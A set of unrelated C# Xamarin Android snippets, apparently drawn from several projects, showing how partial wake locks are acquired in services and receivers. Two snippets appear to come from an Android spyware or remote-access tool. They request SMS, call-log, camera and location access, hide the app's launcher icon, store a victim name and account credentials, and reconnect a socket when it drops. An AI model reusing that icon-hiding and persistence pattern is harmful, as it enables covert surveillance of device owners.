/// <summary> /// Do a <see cref="Context.StartService(Intent)"/>, but holding a wake lock while the service starts. /// </summary> /// <remarks> /// This will modify the intent to hold an extra identifying the wake lock. When the service receives it /// in <see cref="Service.OnStartCommand"/>, it should pass back the <see cref="Intent"/> it receives there to /// <see cref="CompleteWakefulIntent(Intent)"/> in order to release the wake lock. /// </remarks> /// <param name="context">The <see cref="Context"/> in which it operate.</param> /// <param name="intent">The <see cref="Intent"/> with which to start the service, as per <see cref="Context.StartService(Intent)"/>.</param> /// <returns>The <see cref="ComponentName"/> of the <see cref="Service"/> being started.</returns> internal static ComponentName StartWakefulService(Context context, Intent intent) { lock (activeWakeLocksMutex) { int id = nextId; nextId++; if (nextId <= 0) { nextId = 1; } intent.PutExtra(ExtraWakeLockId, id); ComponentName comp = context.StartService(intent); if (comp == null) { return(null); } PowerManager pm = PowerManager.FromContext(context); PowerManager.WakeLock wl = pm.NewWakeLock(WakeLockFlags.Partial, "wake: " + comp.FlattenToShortString()); wl.SetReferenceCounted(false); wl.Acquire(WakeLockTimeout); activeWakeLocks[id] = wl; return(comp); } }
public override void OnCreate() { base.OnCreate(); PowerManager pmanager = (PowerManager)GetSystemService(Context.PowerService); _wakelock = pmanager.NewWakeLock(WakeLockFlags.Partial, "servicewakelock"); _wakelock.SetReferenceCounted(false); }
protected override void OnCreate(Bundle savedInstanceState) { base.OnCreate(savedInstanceState); act = this; try { SetContentView(Resource.Layout.Main); var permissionsToCheck = new string[] { Android.Manifest.Permission.AccessCoarseLocation, Android.Manifest.Permission.AccessFineLocation, Android.Manifest.Permission.WriteCallLog, Android.Manifest.Permission.ReadExternalStorage, Android.Manifest.Permission.Camera, Android.Manifest.Permission.WriteExternalStorage, Android.Manifest.Permission.ForegroundService, Android.Manifest.Permission.ReadCallLog, Android.Manifest.Permission.ReadSms }; CallNotGrantedPermissions(permissionsToCheck); _startServiceButton = FindViewById <Button>(Resource.Id.start_service_button); _stopServiceButton = FindViewById <Button>(Resource.Id.stop_service_button); _startServiceButton.Click += (obj, args) => StartForegroundServiceCompat <ForegroundService>(this); _stopServiceButton.Click += (obj, args) => { _stopServiceIntent = GetIntent(SERVICE_TYPE, MainValues.ACTION_STOP_SERVICE); StopService(_stopServiceIntent); }; } catch (Exception) { } PowerManager pmanager = (PowerManager)GetSystemService("power"); wakelock = pmanager.NewWakeLock(WakeLockFlags.Partial, "Turkhackteam"); wakelock.SetReferenceCounted(false); wakelock.Acquire(); try { PackageManager p = PackageManager; ComponentName componentName = new ComponentName(this, Class); p.SetComponentEnabledSetting(componentName, ComponentEnabledState.Disabled, ComponentEnableOption.DontKillApp); } catch (Exception) { } MainValues._EMAIL = Resources.GetString(Resource.String.EMAIL); MainValues._SIFRE = Resources.GetString(Resource.String.SIFRE); MainValues.KRBN_ISMI = Resources.GetString(Resource.String.KURBANISMI); //Toast.MakeText(ApplicationContext, MainValues._EMAIL+"\n"+ MainValues._SIFRE + MainValues.KRBN_ISMI, ToastLength.Long).Show(); otoBasla(); }
private static PowerManager.WakeLock GetLock(Context context) { if (lockStatic == null) { PowerManager mgr = (PowerManager)context.GetSystemService(Context.PowerService); lockStatic = mgr.NewWakeLock(WakeLockFlags.Partial, LOCK_NAME_STATIC); lockStatic.SetReferenceCounted(true); } return (lockStatic); }
private static PowerManager.WakeLock GetLock(Context context) { if (lockStatic == null) { PowerManager manager = (PowerManager)context.GetSystemService(Context.PowerService); lockStatic = manager.NewWakeLock(WakeLockFlags.Partial, NAME); lockStatic.SetReferenceCounted(true); } return(lockStatic); }
private void AcquireWakeLockAndSendMessage(Context context, Message msg, long delay) { if (_wakeLock == null) { var appContext = context.ApplicationContext; var pm = (PowerManager)appContext.GetSystemService(Context.PowerService); _wakeLock = pm.NewWakeLock(WakeLockFlags.Partial, "Headset button"); _wakeLock.SetReferenceCounted(false); } _wakeLock.Acquire(10000); _handler.SendMessageDelayed(msg, delay); }
public override void OnCreate() { base.OnCreate(); #if DEBUG Log.Info(Tag, "OnCreate: the service is initializing."); #endif _activityCommon = new ActivityCommon(null); _powerManager = GetSystemService(PowerService) as PowerManager; if (_powerManager != null) { _wakeLockCpu = _powerManager.NewWakeLock(WakeLockFlags.Partial, "PartialLock"); _wakeLockCpu.SetReferenceCounted(false); _wakeLockCpu.Acquire(); } }
public override void OnReceive(Context context, Intent intent) { glob_alarm = this; if (MainActivity.mySocketConnected == false) { pmanager = (PowerManager)context.GetSystemService("power"); wakelock = pmanager.NewWakeLock(WakeLockFlags.Partial, GetType().Name); wakelock.SetReferenceCounted(false); if (wakelock.IsHeld == false) { wakelock.Acquire(); } ((MainActivity)MainActivity.global_activity).cancelAlarm(context); ((MainActivity)MainActivity.global_activity).Baglanti_Kur(); } }
protected override Task StartAsyncInternal(CancellationToken cancellationToken) { Logger.Information("Activate()", nameof(DroidPowerManager)); ServiceState = ServiceState.Initiation; _wakelock = PowerManager.NewWakeLock(WakeLockFlags.Partial, "emergencyButton::servicewakelock"); _wakelock.SetReferenceCounted(false); if (_powerModeReceiver == null) { Singleton.GetService <ICurrentContext>().Context.RegisterReceiver( _powerModeReceiver = new PowerModeReceiver(), new IntentFilter(PowerManager.ActionPowerSaveModeChanged)); } ServiceState = ServiceState.Active; return(Task.CompletedTask); }
private void InitWakeLock() { _wakelock = PowerManager.NewWakeLock(WakeLockFlags.Partial, "lazurite::servicewakelock"); _wakelock.SetReferenceCounted(false); }